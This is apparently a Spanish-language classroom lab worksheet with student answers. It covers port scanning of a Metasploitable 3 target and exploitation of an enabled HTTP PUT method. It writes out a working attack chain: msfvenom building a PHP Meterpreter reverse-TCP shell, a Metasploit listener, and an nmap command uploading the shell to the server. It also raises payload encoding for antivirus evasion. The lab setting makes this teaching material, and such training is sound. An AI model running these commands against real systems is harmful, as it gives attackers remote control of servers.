# **Práctica de Ciberseguridad: Explotación de HTTP PUT en Metasploitable 3**

## **Objetivos Generales**

* Comprender el funcionamiento y la explotación del servicio HTTP PUT.
* Aprender a usar herramientas clave en ciberseguridad como Metasploit, Nmap y Nikto.
* Realizar un ataque controlado en un entorno seguro para entender las vulnerabilidades y sus mitigaciones.

## **Parte 1: Introducción y Configuración**

* **Configuración del Entorno**: Asegúrate de tener Metasploitable 3 y Kali Linux (o herramientas equivalentes) listos para usar.

## **Parte 2: Herramientas y Conceptos Básicos**

### **Tarea 1: Uso de Metasploit**

* **Objetivo**: Aprender a utilizar Metasploit para escaneo de puertos.
* **Pasos**:
* Inicia Metasploit con **msfconsole**.
* Utiliza el módulo de escaneo de puertos: **use auxiliary/scanner/portscan/tcp**.
* Configura el IP objetivo (RHOSTS) con la IP de Metasploitable.
* Ejecuta **run** para iniciar el escaneo.

Pantalla de computadora con letras

Descripción generada automáticamente con confianza media

* **Preguntas**:
* ¿Qué puertos están abiertos y qué servicios se identifican?

### **Tarea 2: Escaneo con Nmap**

* **Objetivo**: Utilizar Nmap para el descubrimiento de servicios y puertos.
* **Pasos**:
* Ejecuta un escaneo básico con **nmap [IP de Metasploitable]**.

Captura de pantalla de computadora

Descripción generada automáticamente

* Realiza un escaneo de servicios con **nmap -sV [IP de Metasploitable]**.

Captura de pantalla de computadora

Descripción generada automáticamente

* Intenta un escaneo agresivo con **nmap -A [IP de Metasploitable]**.

Texto

Descripción generada automáticamente

* **Preguntas**:
* ¿Cuál es la diferencia en los resultados entre los distintos tipos de escaneo?

### **Tarea 3: Investiga las siguientes herramientas:**

**Nikto**.

* **¿Qué es Nikto y para qué se utiliza?**
* Define Nikto y explica su propósito principal en el ámbito de la seguridad informática.
* **¿Cómo realiza Nikto el escaneo de vulnerabilidades en un servidor web?**
* Describe el proceso general de cómo Nikto detecta vulnerabilidades y problemas de seguridad.
* **¿Cuáles son algunas de las características clave de Nikto?**
* Identifica y explica al menos tres características destacadas de Nikto.
* **¿Por qué es importante usar herramientas como Nikto en pruebas de penetración?**
* Reflexiona sobre la importancia de la detección de vulnerabilidades en la seguridad web.
* **¿Cómo se interpretan los resultados proporcionados por Nikto?**
* Explica cómo un profesional de la seguridad informática puede utilizar la información proporcionada por los resultados de un escaneo de Nikto.
* **¿Cuáles son las limitaciones de Nikto en el escaneo de vulnerabilidades?**
* Discute cualquier limitación o consideración que se debe tener en cuenta al utilizar Nikto.

**Msfvenom**

* **¿Cómo se diferencia msfvenom de otras herramientas de generación de payloads?**
* Reflexiona sobre las características únicas de msfvenom en comparación con otras herramientas similares.
* **Menciona tres tipos de payloads que se pueden generar con msfvenom.**
* Identifica diferentes tipos de payloads que msfvenom puede crear y para qué sistemas operativos o aplicaciones están diseñados.
* **¿Qué significa codificar un payload en msfvenom y por qué es importante?**
* Describe el proceso de codificación de un payload y su importancia en el contexto de la evasión de la detección de antivirus.
* **¿Cómo se integra msfvenom con el resto del marco de Metasploit?**
* Explica cómo msfvenom se complementa y se utiliza junto con otras herramientas y módulos en Metasploit.

## **Parte 3: Explorando el Fallo HTTP PUT**

### **Tarea 3: Análisis con Nikto**

* **Objetivo**: Identificar posibles vulnerabilidades en el servidor web.
* **Pasos**:
* Ejecuta Nikto con **nikto -h [IP de Metasploitable]**.
* **Preguntas**:
* ¿Qué vulnerabilidades específicas se reportan para el servicio HTTP?

## **Parte 4: Preparación y Explotación**

### **Determinación de Métodos HTTP Permitidos**

* **Pasos**:
* Utiliza **nmap --script http-methods --script-args http-methods.url-path='/uploads',http-methods.test-all -p 8585 [IP de Metasploitable]** para verificar si HTTP PUT está habilitado.

### **Subida y Ejecución de Shell con HTTP PUT**

* **Creación de Payload de Meterpreter PHP**:
* Ejecuta **msfvenom -p php/meterpreter/reverse\_tcp LHOST=[tu IP] LPORT=4444 -f raw > /ruta/meterpreter.php**.

Texto

Descripción generada automáticamente

* **Configuración del Listener en Metasploit**:
* En Metasploit, configura el listener con **use exploit/multi/handler**, **set payload php/meterpreter/reverse\_tcp**, **set LHOST [tu IP]**, **set LPORT 4444**, y **run**.

Texto

Descripción generada automáticamente

* **Subida del Payload con Nmap**:
* Usa **nmap -sV --script http-put --script-args http-put.url='/uploads/meterpreter.php',http-put.file='/ruta/meterpreter.php' -p 8585 [IP de Metasploitable]**.

Texto

Descripción generada automáticamente

## **Parte 5: Análisis y Reporte**

### **Tarea 6: Análisis y Documentación**

* **Objetivo**: Reflexionar y documentar el proceso y resultados de la explotación.
* **Pasos**:
* Redacta un informe detallado de cada paso, comando utilizado y resultados obtenidos.

Para ver que puertos estaban abiertos en la máquina metaexploit utilizamos el comando nmap, además de algunas variantes del nmap para ver sus diferencias.

También usamos el escaneo por puertos que tiene el programa Metaexploit, aunque este de una información más detallada tarda más en dártela.

Después con el msfvenom hemos creado el archivo con el virus que al abrirlo dentro de la maquina metaexploit nos dará acceso total a la máquina.

* Incluye capturas de pantalla y análisis de los resultados.

Texto

Descripción generada automáticamente

* Propone medidas de mitigación para la vulnerabilidad explotada.

La principal medida de mitigación contra esta vulnerabilidad sería directamente cerrar el puerto por el cual nos hemos colado.

Otra sería ya que de la manera en la que nos hemos colado también ha sido ejecutando un fichero desde la pagina web de la máquina seria bloqueando el acceso a las descargas de la máquina .

* **Preguntas**:
* ¿Cómo podrían prevenirse este tipo de vulnerabilidades en el futuro?

Poniendo un firewall de por medio.